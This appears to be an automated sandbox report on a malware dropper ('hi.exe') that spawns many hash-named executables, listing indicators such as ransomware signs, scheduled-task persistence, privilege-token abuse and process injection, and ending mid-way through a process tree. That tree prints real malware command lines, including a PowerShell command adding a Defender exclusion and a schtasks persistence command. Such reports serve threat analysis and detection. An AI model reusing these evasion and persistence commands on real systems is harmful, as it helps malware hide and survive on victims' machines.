0300000001000000140000004c2272fba7a7380f55e2a424e9e624aee1c145792000000001000000640700003082076030820548a00302010202100b9360051bccf66642998998d5ba97ce300d06092a864886f70d01010b05003069310b300906035504061302555331173015060355040a130e44696769436572742c20496e632e3141303f060355040313384469676943657274205472757374656420473420436f6465205369676e696e67205253413430393620534841333834203230323120434131301e170d3232303831373030303030305a170d3235303831353233353935395a3065310b30090603550406130255533110300e06035504081307466c6f72696461310e300c0603550407130554616d706131193017060355040a1310436f6e6e656374776973652c204c4c433119301706035504031310436f6e6e656374776973652c204c4c4330820222300d06092a864886f70d01010105000382020f003082020a0282020100ec489826d08d2c6de21b3cd3676db1e0e50cb1ff75ff564e9741f9574aa3640aa8297294a05b4db68abd0760b6b05b50ce92ff42a4e390be776a43e9961c722f6b3a4d5c880bcc6a61b4026f9137d36b2b7e9b86055876b9fa860dbcb164fe7f4b5b9de4799ae4e02dc1f0bee01e5d032933a2827388f8db0b482e76c441b1bd50909ef2023e1fb62196c994ce052266b28cd89253e6416044133139764db5fc45702529536bf82c775f9ec81fa27dc409530325f40cdef95b81b9ce0d42791cee72e7bd1b36c257b52257c65a28970e457513989434bfc239e2992b193e1b3cc3f11ccdd1d26d4ec9845099ab913906a42069af999c0071169b45a2ea1aa666f1904e8acb05e1823a359a291fd46b4ef7aed5935bb6ab17ebf077210726930c90f01761d6544a94e8fa614cc41d817eec734b1c3d3afb7c58fb256f0c09edc1459bddbff9940ed1958570265d67af79a9b6a16affd70fc6328c9810d5dc186e39af6fbcad49a270f237e6bcd5de0bc014bc3179cd79776591340311a42ca94f33416c2e01b59bd1d71de86ace6716bc90b2d7695d155039aa08fbac19a4d93fb784230a20a485287a16355645fc09142c602d140fa046b7bfd75328184ff7bdf8f9e0d65e6201c8d242931047f59bd328ac353777ccefa60408887b84fc3631301463461a1d73c0b5cc74d6d82905ddf923bdbab027a311cc38d3fa16f639a50203010001a382020630820202301f0603551d230418301680146837e0ebb63bf85f1186fbfe617b088865f44e42301d0603551d0e04160414338ce10a6e06d9c6ed0bc6cae736cefb8188646a300e0603551d0f0101ff04040302078030130603551d25040c300a06082b060105050703033081b50603551d1f0481ad3081aa3053a051a04f864d687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e63726c3053a051a04f864d687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e63726c303e0603551d20043730353033060667810c0104013029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f43505330819406082b06010505070101048187308184302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305c06082b060105050730028650687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e637274300c0603551d130101ff04023000300d06092a864886f70d01010b050003820201000ad79f00cf4984864c8981ecce8718aa875647f6a74608c968e16568c7aa9d711ed7341676038067f01330c91621b27a2a8894c4108c268162a31f13f9757a7d6bb3c6f19bf27c3a29896d712d85873627d827cd6471761444fabf1d31e903f791143c5b4ce5e7444aacba36d759aeba3069d195226755cbc675aa747f77596c53c96e083c45bba24479d6845eea9f2b28ba29b4dcf0bcf14aa4ce176c24e2c1b8fec3ee16e1c086db6fda97388859e83be65c03f701395b78b842c6dd1533ef642cca6fe50f6337d3f2dfedd8b28f2b28e0c98edd2151392e7cc75489f48859f1de14c81b306eb50eed7bb78be30eaada76767c4ca523a11eec5a2372d6122926ab1801a6a6778e9504791487ee47d4577154988802070f80fc535957658f954cd083546c5afb5a6567b6761275f5db20f70ab86feef94c7cfc65369d325121b69a82399bc7dc1962416f0f05cf1eee64d495a3527e464e2c68da0187093f97b673e43dddbcc067e00713f1565fcff8c3772d44b40a04e600644f22a990345f9a6b5b52963e82c81a0ce91d43a230f67b37d8debda40ea3d59d305e18adc1976516c12a8ba2bca24143b12e9527b4dca58872aa9b3a8c6ac563fc2dc02bf51be889516d35a4ba9d062417b5bdcc50ba945fae26b60d6aec03984798a6a21d3ff793cc0849e81ed55b8027411c50db776ae8feef2fdc2dafb04345261dedc054	e0a8383a4c0beb02f1004468b777a85720343bf25e09f50d23975bb91fff4448.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
6008	NOTEPAD.EXE

Runs net.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
4648	PING.EXE
13128	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 31 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
6044	schtasks.exe
12492	schtasks.exe
11708	schtasks.exe
11496	schtasks.exe
6448	schtasks.exe
13940	schtasks.exe
4148	schtasks.exe
11836	schtasks.exe
10792	schtasks.exe
3304	schtasks.exe
7052	schtasks.exe
12912	schtasks.exe
10672	schtasks.exe
10552	schtasks.exe
5260	schtasks.exe
11956	schtasks.exe
960	schtasks.exe
12260	schtasks.exe
10412	schtasks.exe
7136	schtasks.exe
11560	schtasks.exe
11876	schtasks.exe
8444	schtasks.exe
8884	schtasks.exe
9856	schtasks.exe
3436	schtasks.exe
11004	schtasks.exe
5408	schtasks.exe
10668	schtasks.exe
2692	schtasks.exe
9308	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4292	hi.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
11500	c81ece0b60ed50db7d3769388f34ba051a05c95bd026e78dabb6ce08ff91bbba.exe
11500	c81ece0b60ed50db7d3769388f34ba051a05c95bd026e78dabb6ce08ff91bbba.exe
11500	c81ece0b60ed50db7d3769388f34ba051a05c95bd026e78dabb6ce08ff91bbba.exe

Suspicious behavior: SetClipboardViewer 1 IoCs

pid	Process
1308	06922dd72ff4f3e3cffcfe8a6f2070672c341588f3a8ea1f847a0cdf601854d5.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3524	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
Token: SeDebugPrivilege	3148	6ca05da8350d9f5e5d3a7547c0d4693ebc1190e3b76f58f4196021d0c080c722.exe
Token: SeDebugPrivilege	4760	7a8c864ed8b7ca908d3f317d7e63a30a85fb3e8c94070f23f2cf0bfa01c5e0b5.exe
Token: SeAssignPrimaryTokenPrivilege	2712	77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe
Token: SeBackupPrivilege	2712	77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe
Token: SeDebugPrivilege	2712	77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe
Token: 36	2712	77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe
Token: SeImpersonatePrivilege	2712	77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe
Token: SeIncBasePriorityPrivilege	2712	77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe
Token: SeIncreaseQuotaPrivilege	2712	77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe
Token: 33	2712	77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe
Token: SeManageVolumePrivilege	2712	77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe
Token: SeProfSingleProcessPrivilege	2712	77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe
Token: SeRestorePrivilege	2712	77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe
Token: SeSecurityPrivilege	2712	77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe
Token: SeSystemProfilePrivilege	2712	77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe
Token: SeTakeOwnershipPrivilege	2712	77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe
Token: SeShutdownPrivilege	2712	77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe
Token: SeDebugPrivilege	2200	59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad.exe
Token: SeDebugPrivilege	1480	0f78a658b60f0879acccf0933d9ae8a5d2c188e9f16b8e6f7b01bd0cc9b5c4e1.exe
Token: SeDebugPrivilege	2200	59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad.exe
Token: SeDebugPrivilege	2568	577b3a152ddc9d6558ad1b38ef6da89257229adf06d298ea025048a6d5d2fcea.exe
Token: SeAssignPrimaryTokenPrivilege	1400	771a06e3a1bdb42a7249d1c888e740c2bc46ba30b54490188c17f6c84ca96e26.exe
Token: SeBackupPrivilege	1400	771a06e3a1bdb42a7249d1c888e740c2bc46ba30b54490188c17f6c84ca96e26.exe
Token: SeDebugPrivilege	1400	771a06e3a1bdb42a7249d1c888e740c2bc46ba30b54490188c17f6c84ca96e26.exe
Token: 36	1400	771a06e3a1bdb42a7249d1c888e740c2bc46ba30b54490188c17f6c84ca96e26.exe
Token: SeImpersonatePrivilege	1400	771a06e3a1bdb42a7249d1c888e740c2bc46ba30b54490188c17f6c84ca96e26.exe
Token: SeIncBasePriorityPrivilege	1400	771a06e3a1bdb42a7249d1c888e740c2bc46ba30b54490188c17f6c84ca96e26.exe
Token: SeIncreaseQuotaPrivilege	1400	771a06e3a1bdb42a7249d1c888e740c2bc46ba30b54490188c17f6c84ca96e26.exe
Token: 33	1400	771a06e3a1bdb42a7249d1c888e740c2bc46ba30b54490188c17f6c84ca96e26.exe
Token: SeManageVolumePrivilege	1400	771a06e3a1bdb42a7249d1c888e740c2bc46ba30b54490188c17f6c84ca96e26.exe
Token: SeProfSingleProcessPrivilege	1400	771a06e3a1bdb42a7249d1c888e740c2bc46ba30b54490188c17f6c84ca96e26.exe
Token: SeRestorePrivilege	1400	771a06e3a1bdb42a7249d1c888e740c2bc46ba30b54490188c17f6c84ca96e26.exe
Token: SeSecurityPrivilege	1400	771a06e3a1bdb42a7249d1c888e740c2bc46ba30b54490188c17f6c84ca96e26.exe
Token: SeSystemProfilePrivilege	1400	771a06e3a1bdb42a7249d1c888e740c2bc46ba30b54490188c17f6c84ca96e26.exe
Token: SeTakeOwnershipPrivilege	1400	771a06e3a1bdb42a7249d1c888e740c2bc46ba30b54490188c17f6c84ca96e26.exe
Token: SeShutdownPrivilege	1400	771a06e3a1bdb42a7249d1c888e740c2bc46ba30b54490188c17f6c84ca96e26.exe
Token: SeDebugPrivilege	4792	powershell.exe
Token: SeDebugPrivilege	5240	954d8fcd6b74d76999f9ec033ca855ffdab6595be23039f03bc4c6017fa3932c.exe
Token: SeBackupPrivilege	2152	vssvc.exe
Token: SeRestorePrivilege	2152	vssvc.exe
Token: SeAuditPrivilege	2152	vssvc.exe
Token: SeDebugPrivilege	3648	876ba1145745c2e088c0df36f8241a20916a092211d05646eae5c7004dd4d429.exe
Token: SeDebugPrivilege	1400	771a06e3a1bdb42a7249d1c888e740c2bc46ba30b54490188c17f6c84ca96e26.exe
Token: SeDebugPrivilege	2712	77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe
Token: SeDebugPrivilege	5508	4895f3e5549c1333698e23707fb39c0d24c33c31d1bc089b7970911fba3dc0f7.exe
Token: SeDebugPrivilege	4672	powershell.exe
Token: SeDebugPrivilege	1084	powershell.exe
Token: SeDebugPrivilege	9552	53055b6d2651d5c6b4a0bf9ee2f50c73918e65c9d36acfd10eb2eefb0d3e957f.exe
Token: SeDebugPrivilege	4468	01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52.exe
Token: SeDebugPrivilege	7528	53055b6d2651d5c6b4a0bf9ee2f50c73918e65c9d36acfd10eb2eefb0d3e957f.exe
Token: SeIncreaseQuotaPrivilege	12948	wmic.exe
Token: SeSecurityPrivilege	12948	wmic.exe
Token: SeTakeOwnershipPrivilege	12948	wmic.exe
Token: SeLoadDriverPrivilege	12948	wmic.exe
Token: SeSystemProfilePrivilege	12948	wmic.exe
Token: SeSystemtimePrivilege	12948	wmic.exe
Token: SeProfSingleProcessPrivilege	12948	wmic.exe
Token: SeIncBasePriorityPrivilege	12948	wmic.exe
Token: SeCreatePagefilePrivilege	12948	wmic.exe
Token: SeBackupPrivilege	12948	wmic.exe
Token: SeRestorePrivilege	12948	wmic.exe
Token: SeShutdownPrivilege	12948	wmic.exe
Token: SeDebugPrivilege	12948	wmic.exe

Suspicious use of FindShellTrayWindow 6 IoCs

pid	Process
1748	188c3798b6d41bdfa3981bb61a40b81f4fe123c64b9bed2d4c40951de2064f19.exe
1748	188c3798b6d41bdfa3981bb61a40b81f4fe123c64b9bed2d4c40951de2064f19.exe
1748	188c3798b6d41bdfa3981bb61a40b81f4fe123c64b9bed2d4c40951de2064f19.exe
12028	ab0acdb0c45ccafcc0ec594d30dc8153936574dde9ebe4e0b22504770361c666.exe
12028	ab0acdb0c45ccafcc0ec594d30dc8153936574dde9ebe4e0b22504770361c666.exe
12028	ab0acdb0c45ccafcc0ec594d30dc8153936574dde9ebe4e0b22504770361c666.exe

Suspicious use of SendNotifyMessage 6 IoCs

pid	Process
1748	188c3798b6d41bdfa3981bb61a40b81f4fe123c64b9bed2d4c40951de2064f19.exe
1748	188c3798b6d41bdfa3981bb61a40b81f4fe123c64b9bed2d4c40951de2064f19.exe
1748	188c3798b6d41bdfa3981bb61a40b81f4fe123c64b9bed2d4c40951de2064f19.exe
12028	ab0acdb0c45ccafcc0ec594d30dc8153936574dde9ebe4e0b22504770361c666.exe
12028	ab0acdb0c45ccafcc0ec594d30dc8153936574dde9ebe4e0b22504770361c666.exe
12028	ab0acdb0c45ccafcc0ec594d30dc8153936574dde9ebe4e0b22504770361c666.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
2788	9c65d850589e6ab34c6c8e65b8a3b4aa26fa913ca850472023a3b708f95c226b.exe
3144	def98259bba7c128a22dbb9100a3e9512911d9775ec82175f8a8a3c26b993dbf.exe
10236	ffcc4cc79785d4b96b26d0db89383627e084c3483b1e787ac1150d8e6917f506.exe
1308	06922dd72ff4f3e3cffcfe8a6f2070672c341588f3a8ea1f847a0cdf601854d5.exe
6824	tcphost.exe
9904	def98259bba7c128a22dbb9100a3e9512911d9775ec82175f8a8a3c26b993dbf.exe
12184	4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4292 wrote to memory of 1480	4292	hi.exe	83
PID 4292 wrote to memory of 2836	4292	hi.exe	85
PID 4292 wrote to memory of 4468	4292	hi.exe	86
PID 4292 wrote to memory of 2320	4292	hi.exe	87
PID 4292 wrote to memory of 4864	4292	hi.exe	88
PID 4292 wrote to memory of 3700	4292	hi.exe	89
PID 4292 wrote to memory of 3524	4292	hi.exe	91
PID 4292 wrote to memory of 3148	4292	hi.exe	94
PID 4292 wrote to memory of 4760	4292	hi.exe	95
PID 4292 wrote to memory of 2788	4292	hi.exe	96
PID 4292 wrote to memory of 2200	4292	hi.exe	97
PID 4292 wrote to memory of 4072	4292	hi.exe	98
PID 4292 wrote to memory of 188	4292	hi.exe	99
PID 4292 wrote to memory of 2712	4292	hi.exe	100
PID 4292 wrote to memory of 3628	4292	hi.exe	101
PID 4292 wrote to memory of 1356	4292	hi.exe	102
PID 4292 wrote to memory of 1748	4292	hi.exe	103
PID 2836 wrote to memory of 4752	2836	0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe	105
PID 2836 wrote to memory of 4752	2836	0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe	105
PID 2836 wrote to memory of 4752	2836	0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe	105
PID 2836 wrote to memory of 4752	2836	0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe	105
PID 2836 wrote to memory of 4752	2836	0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe	105
PID 2836 wrote to memory of 4752	2836	0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe	105
PID 2836 wrote to memory of 4752	2836	0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe	105
PID 2836 wrote to memory of 4752	2836	0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe	105
PID 2836 wrote to memory of 4752	2836	0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe	105
PID 1748 wrote to memory of 3076	1748	188c3798b6d41bdfa3981bb61a40b81f4fe123c64b9bed2d4c40951de2064f19.exe	106
PID 1748 wrote to memory of 3980	1748	188c3798b6d41bdfa3981bb61a40b81f4fe123c64b9bed2d4c40951de2064f19.exe	107
PID 2320 wrote to memory of 4792	2320	1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe	108
PID 4292 wrote to memory of 1216	4292	hi.exe	112
PID 4292 wrote to memory of 3944	4292	hi.exe	113
PID 4292 wrote to memory of 2568	4292	hi.exe	114
PID 2200 wrote to memory of 4672	2200	59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad.exe	115
PID 4292 wrote to memory of 612	4292	hi.exe	116
PID 4864 wrote to memory of 3748	4864	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe	117
PID 4292 wrote to memory of 1400	4292	hi.exe	119
PID 4292 wrote to memory of 3648	4292	hi.exe	120
PID 2568 wrote to memory of 4260	2568	577b3a152ddc9d6558ad1b38ef6da89257229adf06d298ea025048a6d5d2fcea.exe	121
PID 2568 wrote to memory of 4260	2568	577b3a152ddc9d6558ad1b38ef6da89257229adf06d298ea025048a6d5d2fcea.exe	121
PID 2568 wrote to memory of 4260	2568	577b3a152ddc9d6558ad1b38ef6da89257229adf06d298ea025048a6d5d2fcea.exe	121
PID 2568 wrote to memory of 4260	2568	577b3a152ddc9d6558ad1b38ef6da89257229adf06d298ea025048a6d5d2fcea.exe	121
PID 2568 wrote to memory of 4260	2568	577b3a152ddc9d6558ad1b38ef6da89257229adf06d298ea025048a6d5d2fcea.exe	121
PID 3980 wrote to memory of 1084	3980	mshta.exe	124
PID 4292 wrote to memory of 5240	4292	hi.exe	127
PID 4292 wrote to memory of 6024	4292	hi.exe	128
PID 4292 wrote to memory of 5508	4292	hi.exe	130
PID 4260 wrote to memory of 5588	4260	Caspol.exe	131
PID 4292 wrote to memory of 1308	4292	hi.exe	133
PID 4292 wrote to memory of 9552	4292	hi.exe	136
PID 3076 wrote to memory of 9856	3076	cmd.exe	616
PID 4292 wrote to memory of 10692	4292	hi.exe	139
PID 2200 wrote to memory of 11304	2200	59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad.exe	140
PID 4292 wrote to memory of 11424	4292	hi.exe	141
PID 4292 wrote to memory of 11604	4292	hi.exe	144
PID 3748 wrote to memory of 11672	3748	cmd.exe	145
PID 4292 wrote to memory of 11924	4292	hi.exe	148
PID 4292 wrote to memory of 12028	4292	hi.exe	150
PID 3648 wrote to memory of 12948	3648	876ba1145745c2e088c0df36f8241a20916a092211d05646eae5c7004dd4d429.exe	482
PID 188 wrote to memory of 12968	188	65fd5041c1a1c4115b0c59995221023486f02e5e5d8e313c3e48f3a42ef9a623.exe	154
PID 3628 wrote to memory of 10080	3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe	155
PID 9552 wrote to memory of 7528	9552	53055b6d2651d5c6b4a0bf9ee2f50c73918e65c9d36acfd10eb2eefb0d3e957f.exe	158
PID 9552 wrote to memory of 7528	9552	53055b6d2651d5c6b4a0bf9ee2f50c73918e65c9d36acfd10eb2eefb0d3e957f.exe	158
PID 9552 wrote to memory of 7528	9552	53055b6d2651d5c6b4a0bf9ee2f50c73918e65c9d36acfd10eb2eefb0d3e957f.exe	158
PID 9552 wrote to memory of 7528	9552	53055b6d2651d5c6b4a0bf9ee2f50c73918e65c9d36acfd10eb2eefb0d3e957f.exe	158

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 1 IoCs

Hidden Files and Directories

T1564.001

pid	Process
2408	attrib.exe

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	06922dd72ff4f3e3cffcfe8a6f2070672c341588f3a8ea1f847a0cdf601854d5.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	06922dd72ff4f3e3cffcfe8a6f2070672c341588f3a8ea1f847a0cdf601854d5.exe

C:\Users\Admin\AppData\Local\Temp\hi.exe
"C:\Users\Admin\AppData\Local\Temp\hi.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of WriteProcessMemory
PID:4292
- C:\Users\Admin\AppData\Local\Temp\0f78a658b60f0879acccf0933d9ae8a5d2c188e9f16b8e6f7b01bd0cc9b5c4e1.exe
  "C:\Users\Admin\AppData\Local\Temp\0f78a658b60f0879acccf0933d9ae8a5d2c188e9f16b8e6f7b01bd0cc9b5c4e1.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:1480
- C:\Users\Admin\AppData\Local\Temp\0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe
  "C:\Users\Admin\AppData\Local\Temp\0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:2836
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:4752
- C:\Users\Admin\AppData\Local\Temp\01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52.exe
  "C:\Users\Admin\AppData\Local\Temp\01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of AdjustPrivilegeToken
  PID:4468
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\ZcwWvGIJLelYh.exe"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:11208
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ZcwWvGIJLelYh" /XML "C:\Users\Admin\AppData\Local\Temp\tmpAAAD.tmp"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:11876
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
